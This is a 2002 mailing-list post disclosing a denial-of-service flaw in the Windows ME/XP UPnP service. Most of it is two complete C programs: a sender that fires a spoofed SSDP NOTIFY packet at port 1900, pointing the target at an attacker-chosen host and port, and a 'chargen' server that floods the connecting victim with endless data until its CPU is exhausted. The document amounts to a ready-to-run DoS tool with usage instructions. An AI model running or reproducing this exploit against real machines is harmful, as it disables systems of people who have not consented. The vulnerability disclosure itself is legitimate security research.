UPNP D0S

From: Gabriel A. Maggiotti (gmaggiotat_private)
Date: Sat Jan 05 2002 - 18:17:16 PST

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             We develop a code baseline to test the UPNP DOS. The dos
      consists in sending a udp packet to port 1900 with a NOTIFY
      request. This request has a URL that XP uses to open a tcp
      connection. The XP does not sanitize this request so whatever URL
      and port could be specified. Once the tcp connection is opened, a
      chargen code fills the XP memory and the machine gets into an
      unstable state with a 100% of cpu utilization.

      Regards,

      Gabriel Maggiotti

      http://qb0x.net



/* 
 * WinME/XP UPNP D0S  
 *
 * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
 *
 * Authors:     Gabriel Maggiotti, Fernando Oubiņa
 * Email:       gmaggiotat_private, foubinaat_private
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX	1000
#define PORT	1900


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
	int sockfd,i;
	int numbytes;
	int num_socks;
	int addr_len;
	char recive_buffer[MAX]="";

	char send_buffer[MAX]=
	"NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"
	"CACHE-CONTROL: max-age=1\r\nLOCATION: http://www.host.com:port/\r\n"
	"NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"
	"NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"
	"USN: uuid:QB0X\r\n\r\n\r\n";

	char *aux=send_buffer;
	struct hostent *he;
	struct sockaddr_in their_addr;

	if(argc!=4)
	{
		fprintf(stderr,"usage:%s <remote_hostname> "\
			"<spooffed_host> <chargen_port>\n",argv[0]);
		exit(1);
	}


	aux=str_replace(argv[2],"www.host.com",send_buffer);
	aux=str_replace(argv[3],"port",send_buffer);

	if((he=gethostbyname(argv[1]))==NULL)
	{
		perror("gethostbyname");
		exit(1);
	}


	if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
		perror("socket"); exit(1);
	}

	their_addr.sin_family=AF_INET;
	their_addr.sin_port=htons(PORT);
	their_addr.sin_addr=*((struct in_addr*)he->h_addr);
	bzero(&(their_addr.sin_zero),8);

	if( (numbytes=sendto(sockfd,send_buffer,strlen(send_buffer),0,\
	(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) ==-1)
	{
		perror("send");
		exit(0);
	}
	close(sockfd);

return 0;
}




/*
 * Chargen Server
 *
 * Run: ./chargen <chargen_port>
 *
 *
 * Author:      Gabriel Maggiotti, Fernando Oubiņa
 * Email:       gmaggiotat_private, foubinaat_private
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <malloc.h>

#define BACKLOG	5
#define MAX	500

int
main(int argc, char *argv[])
{
int visit=1;
int i;
int port;
int sockfd;
int newfd;
int numbytes;
char buf[MAX];
char diedbuf[1024];

	struct sockaddr_in my_addr;
	struct sockaddr_in their_addr;
	int sin_size;

	if(argc!=2) {
		fprintf(stderr,"usage: %s <chargen_port>\n",argv[0]);
		return 1;
	}
	port=atoi(argv[1]);

	if( (sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("socket");
		exit(1);
	}

	my_addr.sin_family=AF_INET;
	my_addr.sin_port=htons(port);
	my_addr.sin_addr.s_addr=htonl(INADDR_ANY);
	bzero( &(my_addr.sin_zero),8);

	if( bind(sockfd, (struct sockaddr *) &my_addr,\
		sizeof(struct sockaddr) ) == -1)
	{
		perror("bind");
		exit(1);
	}


	if( listen(sockfd, BACKLOG) == -1)
	{
		perror("listen");
		exit(1);
	}

	for(i=0;i<1024;i++)
		diedbuf[i] = 'q';

	while(1) 
	{	
		sin_size=sizeof( struct sockaddr_in);
		if( (newfd=accept(sockfd,(struct sockaddr*)&their_addr,\
			 &sin_size))== -1)
		{
			perror("accept");
			exit(1);
		}
		printf("Visit number: %d\n",visit++);

		if(!fork()) 
		{
			int i=1;
			if( (numbytes=recv(newfd,buf,MAX,0))==-1 ) 
			{
				perror("recv");
				exit(1);
			}
	
			buf[numbytes]='\0';
			printf("%s\n",buf);
	
			while(1)
			{
				if(send(newfd,diedbuf,1024,0) ==-1)
				{
        				perror("send");
        				exit(0);
				}
			}
		}
	}
close(newfd);
}

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